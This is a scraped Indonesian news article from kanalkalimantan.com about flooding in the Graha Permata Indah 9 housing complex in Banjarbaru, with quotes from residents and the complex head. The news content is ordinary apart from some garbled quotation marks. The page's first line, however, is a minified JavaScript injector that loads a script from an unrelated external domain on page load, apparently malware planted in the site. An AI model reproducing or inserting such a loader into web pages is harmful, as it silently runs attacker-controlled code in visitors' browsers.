(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Hujan deras Kamis (1/3) dinihari sekitar pukul 02.00 Wita hingga pukul 05.00 Wita pagi membuat warga perumahan Graha Permata Indah 9 panik. Bagaimana tidak, hujan deras itu membuat sungai yang berada di sekitar perumahan tersebut meluap.
Komplek Graha Permata Indah 9 tercatat ada 180 rumah yang dibagi menjadi tahap 1, 2, dan 3. Akibat dari hujan deras itu sekitar 70 % dari 180 bangunan perumahan Graha Permata Indah 9, Kelurahan Guntung Payung, Kecamatan Landasan Ulin, terendam air.
Kepala Komplek Graha Permata Indah 9 Heryan Sagita menjelaskan, hujan yang sangat deras sekitar 02.00 Wita dan sekitar pukul 05.00 Wita membuat sungai kecil di sekitar komplek meluap hingga menutupi jalan. Menurut Heryan Sagita, luapan air sungai diakibatkan dataran perumahan tersebut rendah dan menampung aliran dari sungai guntung manggis dan sungai sumba.
“Sungai di sini cuma 1 meter saja, jadi otomatis tidak akan bisa menampung debit air yang meluap dari sungai sumba dan sungai guntung manggis,†ujarnya.
Ketinggian air banjir yang parah sekitar pukul 04.30 Wita mencapai 60 cm. Ada yang setinggi teras rumah bahkan di perumahan tahap 2 dan 3 sampai setinggi jendela. Kendaraan sepeda motor hanya tinggal bagian atas dan jalan sudah tidak bisa diliat dengan kasat mata.
“Warga di situ ada yang sampai mengungsi ke rumah saudara,†katanya.
Warga komplek Subakir (35) menceritakan, perumahan Graha Permata Indah 9 memang sering banjir kalau hujan akibatnya aktifitas warga pun menjadi terganggu.
“Memang di sini sudah sering banjir, yang paling parah waktu imlek, Jumat kemarin dan malam ini. Pokoknya kalau ada banjir kami warga di sini tidak tidur semalaman,†ujarnya.
Pantauan kanalkalimantan.com saat hujan sekitar pukul 16.00 Wita, komplek Graha Permata Indah tersebut masih digenangi air akibat hujan yang terjadi sekitar pukul 15.00 Wita.
Heryan Sagita berharap pemerintah untuk secepatnya menanggulangi masalah banjir ini karena dampaknya yang meresahkan warga perumahan.
“Harapan saya pemerintah cepat bertindak, rumah ini bersubsidi kasian juga sudah beli rumah, karena kebanjiran tidak bsa ditinggali. Kalau begini terus pasti ada penyakit yang menyerang dan menelan korban jiwa,†ujarnya.
Dinas PU Kota banjarbaru memang telah meninjau ke lokasi saat kejadian banjir. Namun sampai saat ini belum ada kejelasan terkait solusi masalah banjir di komplek perumahan itu. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.